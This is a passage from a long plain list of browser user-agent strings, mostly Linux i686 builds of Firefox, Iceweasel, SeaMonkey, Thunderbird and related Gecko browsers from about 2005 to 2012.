rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071113 BonEcho/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.3) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051008 Fedora/1.5-0.5.0.beta2 Firefox/1.4.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008052515 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061003 (Gentoo) Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061015 Firefox/3.0 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061411 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061722 (Gentoo) Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061920 IceCat/3.0-g1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008062113 Iceweasel/3.0 (Debian-3.0~rc2-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008062305 (Gentoo) Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008062523 Firefox/3.0 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008072619 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko Kazehakase/0.5.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008070208 Ubuntu/8.04 (gutsy) Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071523 Firefox/3.0.1 Flock/2.0b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071617 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071618 Firefox/2.0 (Debian-3.0.1-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071910 Minefield/3.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072403 Mandriva/3.0.1-1mdv2008.1 (2008.1) Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072716 IceCat/3.0.1-g1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Ubuntu/8.04 (hardy) (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Ubuntu/8.04 (hardy) Firefox/3.0.1 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008080812 Gentoo Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008081310 Gentoo Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008082612 Gentoo Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2.1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko Kazehakase/0.5.4 Debian/0.5.4-2.1ubuntu3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.9 (Debian-3.0.9-1) GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.18) Gecko/2010021720 Iceweasel/3.0.9 (Debian-3.0.9-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010072023 Firefox/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010072023 Iceweasel/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko Fedora/1.9.0.2-1.fc9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008090211 Ubuntu/9.04 (jaunty) Iceweasel/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008100722 IceCat/3.0.2-g1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008090713 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/20080925 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 FirePHP/0.1.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092816 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092816 Mobile Safari 1.1.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092921 IceCat/3.0.3-g1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100320 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100922 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008101315 Linux Mint/6 (Felicia) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008091304 GranParadiso/3.0.3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008092604 GranParadiso/3.0.3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008103100 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008103100 SUSE/3.0.4-4.7 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008123120 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008092704 GranParadiso/3.0.4pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008120908 Red Hat/3.0.5-1.el5_2 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-2.1 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121621 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121621 Linux Mint/5 (Elyssa) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020409 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020409 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009030302 Minefield/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko Galeon/2.0.6 (Debian 2.0.6-2.1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko Kazehakase/0.5.4 Debian/0.5.4-2.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko Kazehakase/0.5.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009021910 Linux Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009022005 Red Hat/3.0.7-1.el5 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.1 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Linux Mint/5 (Elyssa) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Linux Mint/6 (Felicia) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030719 GranParadiso/3.0.7 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030723 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032520 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032803 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032803 Firefox/3.0 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032803 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009040909 CentOS/3.0.7-1.el5.centos Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Linux Mint/5 (Elyssa) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Linux Mint/6 (Felicia) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Linux Mint/6 (Felicia) Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.04 (hardy) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032811 Iceweasel/3.0.7 (Debian-3.0.7-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033017 GranParadiso/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033018 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0 (SliTaz GNU/Linux) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033105 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009040101 Gentoo Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009040118 Gentoo Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009040314 Gentoo Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009041203 Gentoo Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042210 GranParadiso/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090630 Ubuntu/9.04 (jaunty) Shiretoko/3.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Linux Mint/7 (Gloria) Shiretoko/3.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.10 (karmic) Shiretoko/3.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090704 Iceweasel/3.5 (Debian-3.5-0) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.10) Gecko/20100527 Lightning/1.0b1 Thunderbird/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.10) Gecko/20100527 Thunderbird/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.11) Gecko/20100713 Lightning/1.0b1 Thunderbird/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.11) Gecko/20100722 SeaMonkey/2.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.12) Gecko/20100826 Lightning/1.0b1 Thunderbird/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.12) Gecko/20100915 Lightning/1.0b1 Thunderbird/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.14) Gecko/20101006 Lightning/1.0b1 Thunderbird/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.15) Gecko/20101027 Lightning/1.0b1 Thunderbird/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.15) Gecko/20101027 Lightning/1.0b1 Thunderbird/3.0.10 ThunderBrowse/3.3.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Firefox/11.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120921 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.17) Gecko/20110303 SeaMonkey/2.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.17) Gecko/20110309 Lightning/1.0b2pre SeaMonkey/2.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.19) Gecko/20110429 Gentoo/2.0.14 SeaMonkey/2.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.19) Gecko/20110518 SeaMonkey/2.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3pre) Gecko/20090730 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3pre) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.3pre (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4pre) Gecko/20090921 Ubuntu/8.10 (intrepid) Shiretoko/3.5.4pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4pre) Gecko/20090921 Ubuntu/9.04 (jaunty) Shiretoko/3.5.4pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20100309 Ubuntu/9.04 (jaunty) Shiretoko/3.5.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4 Mozilla/5.0 (X11; U; 